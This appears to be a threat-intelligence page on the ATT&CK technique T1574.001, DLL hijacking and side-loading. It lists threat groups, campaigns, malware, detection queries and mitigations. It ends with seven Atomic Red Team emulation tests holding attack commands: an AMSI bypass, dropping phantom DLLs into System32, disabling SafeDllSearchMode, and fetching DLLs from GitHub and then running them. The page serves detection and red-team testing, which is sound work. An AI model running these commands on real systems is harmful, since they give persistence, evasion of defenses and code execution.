MirrorFaceG1054 ↗
Has used legitimate EXE files to load malicious DLLs via sideloading.1234
- Platform
- Windows
- Version
- 3.0
- Created
- 13 March 2020
- Last modified
- 12 May 2026
- Contributors
- Ami Holeston, CrowdStrike; Hajime Yanagishita, Macnica, Inc.; Marina Liang; Stefan Kanthak; Suguru Ishimaru, ITOCHU Cyber & Intelligence Inc.; Travis Smith, Tripwire; Wietze Beukema @Wietze; Will Alexander, CrowdStrike; Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.
Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.[1]
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
35
Threat groupsTop 4%
Threat groups96th percentile · 96% of ATT&CK techniques have this many threat groups attributed or fewer.4
CampaignsTop 10%
Campaigns90th percentile · 90% of ATT&CK techniques have this many campaigns recorded or fewer.75
Tools & malwareTop 5%
Tools & malware95th percentile · 95% of ATT&CK techniques have this many tools implementing them or fewer.110
Detection rulesTop 1%
Detection rules99th percentile · 99% of ATT&CK techniques have this many detection rules written or fewer.DLL MITRE reference T1574.001
Top 4%of all ATT&CK techniques for number of groups
35 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Velvet AntG1047 ↗
Has used malicious DLLs executed via legitimate EXE files through DLL search order hijacking to launch follow-on payloads such as PlugX.1
Storm-1811G1046 ↗
Has deployed a malicious DLL (7z.DLL) that is sideloaded by a modified, legitimate installer (7zG.exe) when that installer is executed with an additional command line parameter of b at runtime to load a Cobalt Strike beacon payload.1
DaggerflyG1034 ↗
Has used legitimate software to side-load PlugX loaders onto victim systems.1 Daggerfly is also linked to multiple other instances of side-loading for initial loading activity.2
Cinnamon TempestG1021 ↗
Has used search order hijacking to launch Cobalt Strike Beacons.12 Cinnamon Tempest has also abused legitimate executables to side-load weaponized DLLs.3
FIN13G1016 ↗
Has used IISCrack.dll as a side-loading technique to load a malicious version of httpodbc.dll on old IIS Servers (CVE-2001-0507).1
All 35 groups for this technique · 6 newest in this preview
4 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
RedDelta Modified PlugX Infection Chain OperationsC0047 ↗
Mustang Panda used DLL search order hijacking on vulnerable applications to install PlugX payloads during RedDelta Modified PlugX Infection Chain Operations.1
APT41 DUSTC0040 ↗
Involved the use of DLL search order hijacking to execute DUSTTRAP.1 APT41 DUST used also DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller.1
3CX Supply Chain AttackC0057 ↗
During the 3CX Supply Chain Attack, AppleJeus splits functionally across multiple .dll files using export functions, such as DLLGetClassObject, to execute code from an embedded .dll file within another .dll file. AppleJeus has also used DLL search order hijacking via the IKEEXT service, running with LocalSystem privileges, to load the TAXHAUL DLL for persistence.12
Operation CuckooBeesC0012 ↗
During Operation CuckooBees, the threat actors used the legitimate Windows services IKEEXT and PrintNotify to side-load malicious DLLs.1
All 4 campaigns for this technique
75 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
AshTagS9031 ↗
Has enabled execution via DLL sideloading using a legitimate executable paired with a malicious DLL named wtsapi32.1
IronWindS9029 ↗
Has used DLL sideloading for execution.1
ANELLDRS9027 ↗
Can use DLL sideloading from a legitimate application to initiate execution. 1
ROAMINGHOUSES9026 ↗
Can use a legitimate EXE to sideload a malicious DLL named JSFC.dll.1 ROAMINGHOUSE has also used ScnCfg32.exe to sideload vsodscpl.dll to enable UPPERCUT execution.2
NOOPLDRS9025 ↗
LODEINFOS9020 ↗
Can use legitimate EXE files to sideload malicious DLLs.1
All 75 software entries for this technique · 6 newest in this preview
Offense vs defense T1574.001
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 4Sigma rules (cumulative) · 93Splunk ESCU (cumulative) · 17
first rule: 2017 Q2 · 4 of 4 campaigns plottedDLL detection strategy DET0201
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for Hijack Execution Flow for DLLs
1 platform
AN0577 · Windows
DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Module LoadDC0016 | WinEventLog:Sysmon | EventCode=7 |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
| File MetadataDC0059 | WinEventLog:Sysmon | EventCode=15 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Security | EventCode=4657 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AllowedDllPaths | Known safe DLL directories to suppress false positives (e.g., C:\Windows\System32). |
| ProcessAllowList | Applications expected to load DLLs from non-standard locations (e.g., development tools). |
| TimeWindow | Correlation interval between DLL file creation, registry changes, and module load. |
| HashBaseline | Baseline hashes for legitimate DLLs used to detect substitution. |
1 analytic
Detection of creation of registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode. The key SafeDllSearchMode, if set to 0, will block the Windows mechanism for the search DLL order and adversaries may execute their own malicious dll.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | command_line |
| registry | add | key |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This detects SafeDllSearchMode creation, either via a new process (command line) or direct registry manipulation.
processes = search Process:create
safe_dll_search_processes = filter processes where command_line CONTAINS("*SafeDllSearchMode*") AND ((command_line CONTAINS("*reg*") AND command_line CONTAINS("*add*") AND command_line CONTAINS("*/d*")) OR (command_line CONTAINS("*Set-ItemProperty*") AND command_line CONTAINS(*-value*)) OR ((command_line CONTAINS("*00000000*") AND command_line CONTAINS(*0*)))
reg_keys = search Registry:value_edit
safe_dll_reg_keys = filter reg_keys where value="SafeDllSearchMode" AND value_data="0"
output safe_dll_search_processes, safe_dll_reg_keys
This is a Splunk representation of the above pseudocode.
(source="WinEventLog:*" ((((EventCode="4688" OR EventCode="1") ((CommandLine="*reg*" CommandLine="*add*" CommandLine="*/d*") OR (CommandLine="*Set-ItemProperty*" CommandLine="*-value*")) (CommandLine="*00000000*" OR CommandLine="*0*") CommandLine="*SafeDllSearchMode*") OR ((EventCode="4657") ObjectValueName="SafeDllSearchMode" value="0")) OR ((EventCode="13") EventType="SetValue" TargetObject="*SafeDllSearchMode" Details="DWORD (0x00000000)")))
This is an Elastic representation of the above pseudocode.
(((EventCode:("4688" OR "1") AND ((process.command_line:*reg* AND process.command_line:*add* AND process.command_line:*\/d*) OR (process.command_line:*Set\-ItemProperty* AND process.command_line:*\-value*)) AND process.command_line:(*00000000* OR *0*) AND process.command_line:*SafeDllSearchMode*) OR (EventCode:"4657" AND winlog.event_data.ObjectValueName:"SafeDllSearchMode" AND value:"0")) OR (EventCode:"13" AND winlog.event_data.EventType:"SetValue" AND winlog.event_data.TargetObject:*SafeDllSearchMode AND winlog.event_data.Details:"DWORD\ \(0x00000000\)"))
This is a LogPoint representation of the above pseudocode.
(((EventCode IN ["4688", "1"] ((CommandLine="*reg*" CommandLine="*add*" CommandLine="*/d*") OR (CommandLine="*Set-ItemProperty*" CommandLine="*-value*")) CommandLine IN ["*00000000*", "*0*"] CommandLine="*SafeDllSearchMode*") OR (EventCode IN "4657" ObjectValueName="SafeDllSearchMode" value="0")) OR (EventCode IN "13" EventType="SetValue" TargetObject="*SafeDllSearchMode" Details="DWORD (0x00000000)"))
Unit tests
CAR’s own validation procedures for this analytic.
Execute command with cmd
["reg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\" /v SafeDllSearchMode /d 0"]
Execute command with powershell
["Set-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Session Manager\" -Name SafeDllSearchMode -Value 0"]
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
AuditM1047
Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.
Use the program sxstrace.exe that is included with Windows, along with manual inspection, to check manifest files for side-by-side problems in software.
Execution PreventionM1038
Identify and block potentially malicious software executed through DLL hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.
Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.
Enable Safe DLL Search Mode to move the user's current folder later in the search order. This is included by default in modern versions of Windows; the associated Windows Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode.
Update SoftwareM1051
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Tests7Executorscmd 6 · PowerShell 1Need elevation5 of 7Have prerequisites3Have cleanup7Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | DLL Search Order Hijacking - amsi.dll | windows | cmd | Required | — | Yes | ||||||||||||||
Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. Attack command copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit Cleanup command del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1 GUID0cdf7735-185e-41ea-baeb-1ff0fc78b5c4 | ||||||||||||||||||||
| 02 | Phantom Dll Hijacking - WinAppXRT.dll | windows | cmd | Required | — | Yes | ||||||||||||||
.NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the WinAppXRT.dll is loaded everytime user launches an application using .NET. Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied to system32 folder for loading during execution of any .NET application. Attack command copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f Cleanup command reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll GUIDa3be9a9b-e5de-49d0-a636-c37f89ff5ebe | ||||||||||||||||||||
| 03 | Phantom Dll Hijacking - ualapi.dll | windows | cmd | Required | — | Yes | ||||||||||||||
Re-starting the Print Spooler service leads to C:\Windows\System32\ualapi.dll being loaded A malicious ualapi.dll placed in the System32 directory will lead to its execution whenever the system starts Upon successful execution, amsi.dll will be copied and renamed to ualapi.dll and then ualapi.dll will be copied to system32 folder for loading during system restart. Print Spooler service is also configured to auto start. Reboot of system is required Attack command copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll ualapi.dll copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll sc config Spooler start=auto Cleanup command del %windir%\System32\ualapi.dll del %APPDATA%\ualapi.dll GUID3dffa89e-4a1a-47f9-8b8b-504b0ea8cdfd | ||||||||||||||||||||
| 04 | DLL Side-Loading using the Notepad++ GUP.exe binary | windows | cmd | — | 1 | Yes | ||||||||||||||
GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded. Upon execution, calc.exe will be opened. Input arguments
Attack command "#{gup_executable}"
Cleanup command taskkill /F /IM #{process_name} >nul 2>&1
Prerequisite Gup.exe binary must exist on disk at specified location (#{gup_executable}) Check if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
GUID7e07ea70-d712-49d8-8433-4effa278583f | ||||||||||||||||||||
| 05 | DLL Side-Loading using the dotnet startup hook environment variable | windows | cmd | — | 2 | Yes | ||||||||||||||
Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. blog post Input arguments
Attack command set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
dotnet -h > nul
echo.
Cleanup command taskkill /F /IM #{process_name} >nul 2>&1
Prerequisite .Net SDK must be installed Check if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit 0} else {exit 1}
Satisfy winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null echo. Prerequisite preloader must exist Check if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1}
Satisfy Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/bin/preloader.dll?raw=true" -OutFile "#{preloader_dll}"
GUID1d33a059-719f-4d54-994e-0c4dd62faa0d | ||||||||||||||||||||
| 06 | DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE | windows | PowerShell | Required | — | Yes | ||||||||||||||
Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe", which can load further executables embedded in modified KeyScramblerIE.dll file. Attack command Write-Host 1.Downloading KeyScrambler from official website to temp directory Invoke-WebRequest -Uri "https://download.qfxsoftware.com/download/latest/KeyScrambler_Setup.exe" -OutFile $env:Temp\KeyScrambler_Setup.exe Write-Host 2.Installing KeyScrambler with KeyScrambler_Setup.exe from temp directory Start-Process -FilePath $env:Temp\KeyScrambler_Setup.exe -ArgumentList /S -Wait Write-Host 3.Copying KeyScrambler.exe to temp folder,to avoid permission issues, which calls KeyScramblerIE.dll in CWD i.e. temp Copy-Item "C:\Program Files (x86)\KeyScrambler\KeyScrambler.exe" -Destination $env:TEMP\KeyScrambler.exe Write-Host 4.Executing KeyScrambler.exe, you should see a popup of missing KeyScramblerIE.dll, you can close this popup Start-Process -FilePath $env:Temp\KeyScrambler.exe Write-Host 5.A modified KeyScramblerIE.dll can be copied to temp, which can be misused by Attacker Cleanup command Write-Host 1.Kindly close the popup window asking for KeyScramblerIE.dll ,so that it gets deleted. Remove-Item -Path $env:Temp\KeyScrambler_Setup.exe Start-Process -FilePath "C:\Program Files (x86)\KeyScrambler\Uninstall.exe" -ArgumentList /S -Wait Remove-Item -Path $env:Temp\KeyScrambler.exe Write-Host 2.KeyScrambler cleanup completed successfully. GUID6c5665a1-447e-4345-a72b-234834a4dd3c | ||||||||||||||||||||
| 07 | DLL Search Order Hijacking - ntprint | windows | cmd | Required | 1 | Yes | ||||||||||||||
This technique abuses the legitimate, Microsoft-signed ntprint.exe as a living-off-the-land loader by copying it out of C:\Windows\System32 into a user-controlled directory and launching it with the next command-line PSetupElevatedLegacyPrintDriverInstallW, which causes the process to attempt to load ntprint.dll; due to Windows DLL search behavior, placing a malicious ntprint.dll in the same directory results in that DLL being loaded alongside the trusted binary, providing code execution inside a seemingly benign Windows component and blending activity under a signed process name (a classic DLL sideloading/search-order hijack pattern) Reference: https://www.hexacorn.com/blog/2025/10/06/ntprint-exe-lolbin/ Input arguments
Attack command mkdir "%USERPROFILE%\atomic"
cd "%USERPROFILE%\atomic"
copy "#{ntprint_dll_file}" .
copy /y C:\Windows\System32\ntprint.exe .
ntprint.exe PSetupElevatedLegacyPrintDriverInstallW {}Cleanup command cd "%USERPROFILE%" rmdir /s /q "%USERPROFILE%\atomic" Prerequisite ntprint.dll must exist on disk at specified location (#{ntprint_dll_file}) Check if (Test-Path "#{ntprint_dll_file}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{ntprint_dll_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/bin/ntprint.dll?raw=true" -OutFile "#{ntprint_dll_file}"GUID02c770af-1c01-4492-af85-4639c25816c8 | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition